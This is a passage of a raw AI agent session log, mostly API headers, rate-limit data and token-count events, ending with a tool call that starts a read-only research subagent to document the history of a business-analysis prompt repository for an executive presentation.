\"stop_sequence\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:56.816Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:56.816Z] [INFO]       \"cache_creation_input_tokens\": 2451,\n[2026-09-29T07:43:56.816Z] [INFO]       \"cache_read_input_tokens\": 30362,\n[2026-09-29T07:43:56.816Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:56.816Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:56.816Z] [INFO]         \"ephemeral_1h_input_tokens\": 2451\n[2026-09-29T07:43:56.816Z] [INFO]       },\n[2026-09-29T07:43:56.816Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:43:56.816Z] [INFO]       \"service_tier\": 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\"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:11.700Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:11.704Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:11.709Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:11.713Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.724Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:11.729Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:11.733Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:11.737Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:11.741Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:11.745Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:11.747Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:11.749Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.753Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:11.755Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:11.758Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:11.761Z] [STDOUT]     \"cf-ray\": \"a4295c73ff564d8b-FRA\",\n[2026-09-29T07:44:11.767Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:11.772Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:11.774Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:11.776Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:11.778Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:11 GMT\",\n[2026-09-29T07:44:11.780Z] [STDOUT]     \"request-id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:11.784Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:11.789Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:11.794Z] [STDOUT]     traceresponse: \"00-70a758e678006da106703466133cfd96-b079a6c82b06f911-01\",\n[2026-09-29T07:44:11.796Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:11.800Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:11.802Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:11.807Z] [STDOUT]   },\n[2026-09-29T07:44:11.813Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:11.820Z] [STDOUT] }\n[2026-09-29T07:44:11.824Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:11.828Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:11 GMT\",\n[2026-09-29T07:44:11.832Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:11.836Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:11.840Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:11.842Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:11.846Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:11.851Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:11.854Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:11.859Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:11.863Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:11.868Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:11.872Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:11.876Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:11.883Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:11.888Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:11.892Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:11.895Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.904Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:11.907Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:11.909Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:11.914Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:11.918Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.923Z] [STDOUT]   \"request-id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:11.928Z] [STDOUT]   \"traceresponse\": \"00-70a758e678006da106703466133cfd96-b079a6c82b06f911-01\",\n[2026-09-29T07:44:11.933Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:11.938Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:11.941Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:11.945Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:11.947Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:11.953Z] [STDOUT]   \"cf-ray\": \"a4295c73ff564d8b-FRA\",\n[2026-09-29T07:44:11.957Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:11.961Z] [STDOUT] [log_549744] response parsed {\n[2026-09-29T07:44:11.963Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:11.966Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:11.968Z] [STDOUT]   body: X {\n[2026-09-29T07:44:11.973Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:11.977Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:11.980Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:11.983Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:11.988Z] [STDOUT]     },\n[2026-09-29T07:44:11.992Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:11.996Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:12.002Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:12.006Z] [STDOUT]   },\n[2026-09-29T07:44:12.010Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:12.017Z] [STDOUT] }\n[2026-09-29T07:44:13.602Z] [INFO] {\n[2026-09-29T07:44:13.602Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"message\": {\n[2026-09-29T07:44:13.602Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"id\": \"msg_011CfXMfKMwHxkfowaZNkZ7Z\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"content\": [\n[2026-09-29T07:44:13.602Z] [INFO]       {\n[2026-09-29T07:44:13.602Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:13.602Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:13.602Z] [INFO]         \"signature\": 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    \"container\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:13.602Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:13.602Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:13.602Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:13.602Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:13.602Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:13.602Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:13.602Z] [INFO]       },\n[2026-09-29T07:44:13.602Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:13.602Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:13.602Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:13.602Z] [INFO]     },\n[2026-09-29T07:44:13.602Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:13.602Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:13.602Z] [INFO]   },\n[2026-09-29T07:44:13.602Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:13.602Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"uuid\": \"5f12b083-2194-437a-aa38-eef91aab092f\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:13.596Z\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\"\n[2026-09-29T07:44:13.602Z] [INFO] }\n[2026-09-29T07:44:13.610Z] [INFO] {\n[2026-09-29T07:44:13.610Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.610Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.610Z] [INFO]   \"estimated_tokens\": 4,\n[2026-09-29T07:44:13.610Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.610Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.610Z] [INFO]   \"uuid\": \"bf5546ee-1740-4119-bc49-50ba50770473\"\n[2026-09-29T07:44:13.610Z] [INFO] }\n[2026-09-29T07:44:13.615Z] [INFO] {\n[2026-09-29T07:44:13.615Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.615Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.615Z] [INFO]   \"estimated_tokens\": 8,\n[2026-09-29T07:44:13.615Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.615Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.615Z] [INFO]   \"uuid\": \"a51bc246-e9db-4179-824b-5b6098ff877c\"\n[2026-09-29T07:44:13.615Z] [INFO] }\n[2026-09-29T07:44:13.620Z] [INFO] {\n[2026-09-29T07:44:13.620Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.620Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.620Z] [INFO]   \"estimated_tokens\": 14,\n[2026-09-29T07:44:13.620Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.620Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.620Z] [INFO]   \"uuid\": \"6d3ae98e-0281-4adb-bf5f-f86eac6cf3e2\"\n[2026-09-29T07:44:13.620Z] [INFO] }\n[2026-09-29T07:44:13.624Z] [INFO] {\n[2026-09-29T07:44:13.624Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.624Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.624Z] [INFO]   \"estimated_tokens\": 20,\n[2026-09-29T07:44:13.624Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.624Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.624Z] [INFO]   \"uuid\": \"64c88895-1c15-4d49-8e3e-0814b3460d4b\"\n[2026-09-29T07:44:13.624Z] [INFO] }\n[2026-09-29T07:44:13.629Z] [INFO] {\n[2026-09-29T07:44:13.629Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.629Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.629Z] [INFO]   \"estimated_tokens\": 26,\n[2026-09-29T07:44:13.629Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.629Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.629Z] [INFO]   \"uuid\": \"05063cdf-c039-4e67-b69f-cc74e7b81776\"\n[2026-09-29T07:44:13.629Z] [INFO] }\n[2026-09-29T07:44:13.637Z] [INFO] {\n[2026-09-29T07:44:13.637Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.637Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.637Z] [INFO]   \"estimated_tokens\": 36,\n[2026-09-29T07:44:13.637Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.637Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.637Z] [INFO]   \"uuid\": \"102801d8-0e94-4dba-a238-bb8a2fa985e5\"\n[2026-09-29T07:44:13.637Z] [INFO] }\n[2026-09-29T07:44:13.642Z] [INFO] {\n[2026-09-29T07:44:13.642Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.642Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.642Z] [INFO]   \"estimated_tokens\": 41,\n[2026-09-29T07:44:13.642Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.642Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.642Z] [INFO]   \"uuid\": \"c701beb4-f5fd-4f4e-9b8f-6a43dee3e0d8\"\n[2026-09-29T07:44:13.642Z] [INFO] }\n[2026-09-29T07:44:13.648Z] [INFO] {\n[2026-09-29T07:44:13.648Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.648Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.648Z] [INFO]   \"estimated_tokens\": 47,\n[2026-09-29T07:44:13.648Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.648Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.648Z] [INFO]   \"uuid\": \"d80a7b7a-8e83-4846-9662-864f88a8c6b4\"\n[2026-09-29T07:44:13.648Z] [INFO] }\n[2026-09-29T07:44:13.655Z] [INFO] {\n[2026-09-29T07:44:13.655Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.655Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.655Z] [INFO]   \"estimated_tokens\": 48,\n[2026-09-29T07:44:13.655Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.655Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.655Z] [INFO]   \"uuid\": \"8892c9a2-f2d5-46da-bf3b-26f5a422b754\"\n[2026-09-29T07:44:13.655Z] [INFO] }\n[2026-09-29T07:44:13.662Z] [INFO] {\n[2026-09-29T07:44:13.662Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.662Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.662Z] [INFO]   \"estimated_tokens\": 49,\n[2026-09-29T07:44:13.662Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.662Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.662Z] [INFO]   \"uuid\": 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[INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:13.673Z] [INFO]     \"content\": [\n[2026-09-29T07:44:13.673Z] [INFO]       {\n[2026-09-29T07:44:13.673Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:13.673Z] [INFO]         \"thinking\": \"I've cloned mango_ba_prompts and fetched the issue-639 research branch. Now I'll kick off parallel research agents while reading through the ba-ai-process meta-model docs myself.\\n\\n\",\n[2026-09-29T07:44:13.673Z] [INFO]         \"signature\": \"CAQShQYKEQgSGAI4AUIJbmFycmF0aW9uEgx/B1Gjh7S0vNc96koaDKXg+BDY+znIbNxybCIwmI2poBGeacYFMhrD20gl1bv6Wv6+dgjJ0cNsBp34spyo6IZcSvXTbnsEHM+/VNyZKqEFt/wgLkAZTNogzI/i3bLFSehZZ1TmhiGPXRSoQ4e+be+VZIEl98k1A+Gkg+gkyltf6OMLaaOHP/Fdm1w/An1JW3u7uRKbd8p3FeW9N/eJuhkVAhRfYRy7zVlz3lJ+pleaE3MXgnTtGdwVJafo2tjDp3FWvAQM2Uy6af8l3F2fVg3X3eUJ9fZix30k1dCnrjWmf7FSwg/yqixRZZslLtLBmubQPV6JG8l7UrFXLzhrCCKWowpe7MBF0Lz2msn7Roa3XpyFEzXOqe8RtuPWVz0pOwMvviiaKH96ovre6PsJ/r14QnKkX6lwb8OIuYX59sAm/8o724qbekfawwVcBhWZW04JmgjyV5uNZ7hHeBpTU+iD24R4s4LdvlP60d8Bv93Lm0HdvR1ZkXREf/BXAFdQvHoZDU2I+a/1HifwpV5zHSkM2K0LxQg5qyi5Bw95DXmv75S+QgvHlNK2+YuLONS1Tq/IrLqovwsq2dULshTNIGe0ONoK7bWwdslMsyXiCGFeOrR3qj242r9iRpI72OqILhlg7OpHAVKyyM7hXWdjIoYomFqANDQjczk66Tqhvmrk9NTh1r9NNzgKbD1FEmeHEhxE74HN624nrM4fz6trf/Or4kt555U3gSGoeOlmBdSkff6R77iRhv/XCczon9RMd8kW/gwQy5ci2sInetrka85g9zej0Z6BgoQMaH0jEIoiwEajz7vlYLHWeKsEZ3IEtIRMMxWAlbYgccOIkNX+W6v0wPOdrzk2lzWeGa8qaUA84l8hfCm/8pEx8p01y63yn/eOOWtbr+Ua6YHnkQqd/yOamuJUfcO8Ixa9TbAYRPChXyRI/JTxRe2kU9+xii76vH/MUR0bxw+Gm+9wl0ObRcmlDe/yv6cs6822STb59Jg53xgB\"\n[2026-09-29T07:44:13.673Z] [INFO]       }\n[2026-09-29T07:44:13.673Z] [INFO]     ],\n[2026-09-29T07:44:13.673Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:13.673Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:13.673Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:13.673Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:13.673Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:13.673Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:13.673Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:13.673Z] [INFO]       },\n[2026-09-29T07:44:13.673Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:13.673Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:13.673Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:13.673Z] [INFO]     },\n[2026-09-29T07:44:13.673Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:13.673Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:13.673Z] [INFO]   },\n[2026-09-29T07:44:13.673Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:13.673Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"uuid\": \"e429072a-165b-4001-add8-8c37df0d7118\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:13.604Z\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:44:13.673Z] [INFO]     0\n[2026-09-29T07:44:13.673Z] [INFO]   ]\n[2026-09-29T07:44:13.673Z] [INFO] }\n[2026-09-29T07:44:22.294Z] [INFO] {\n[2026-09-29T07:44:22.294Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"message\": {\n[2026-09-29T07:44:22.294Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"id\": \"msg_011CfXMfKMwHxkfowaZNkZ7Z\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"content\": [\n[2026-09-29T07:44:22.294Z] [INFO]       {\n[2026-09-29T07:44:22.294Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:22.294Z] [INFO]         \"id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:22.294Z] [INFO]         \"name\": \"Agent\",\n[2026-09-29T07:44:22.294Z] [INFO]         \"input\": {\n[2026-09-29T07:44:22.294Z] [INFO]           \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.294Z] [INFO]           \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:22.294Z] [INFO]           \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\"\n[2026-09-29T07:44:22.294Z] [INFO]         },\n[2026-09-29T07:44:22.294Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:22.294Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:22.294Z] [INFO]         }\n[2026-09-29T07:44:22.294Z] [INFO]       }\n[2026-09-29T07:44:22.294Z] [INFO]     ],\n[2026-09-29T07:44:22.294Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:22.294Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:22.294Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:22.294Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:22.294Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:22.294Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:22.294Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:22.294Z] [INFO]       },\n[2026-09-29T07:44:22.294Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:22.294Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:22.294Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:22.294Z] [INFO]     },\n[2026-09-29T07:44:22.294Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:22.294Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:22.294Z] [INFO]   },\n[2026-09-29T07:44:22.294Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:22.294Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"uuid\": \"8188a6b1-d48a-42d3-93a0-e0439f248186\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:22.286Z\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:44:22.294Z] [INFO]     \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\": {\n[2026-09-29T07:44:22.294Z] [INFO]       \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.294Z] [INFO]       \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:22.294Z] [INFO]       \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where 